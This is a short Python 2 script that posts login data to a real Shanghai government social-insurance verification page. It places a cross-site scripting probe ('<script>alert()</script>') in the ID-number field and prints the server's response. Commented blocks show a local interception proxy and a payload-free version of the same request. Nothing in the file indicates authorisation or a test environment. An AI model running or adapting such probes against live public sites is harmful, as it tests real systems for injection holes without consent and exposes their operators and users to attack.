import urllib2
import urllib


'''
proxy_support = urllib2.ProxyHandler({"http" : "http://127.0.0.1:8080" })
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)
'''

'''
url = 'http://www.12333sh.gov.cn/wsbs/wsbg/psn/verify.jsp'
post_data_encoded = 'password=841004&zjhm=******************'
request = urllib.urlopen(url, post_data_encoded)
html_content = request.read()
print html_content
'''


url = 'http://www.12333sh.gov.cn/wsbs/wsbg/psn/verify.jsp'
post_data = {'password':'841004', 'zjhm':'*********************<script>alert()</script>'}
post_data_encoded = urllib.urlencode(post_data)
request = urllib.urlopen(url, post_data_encoded)
html_content = request.read()
print html_content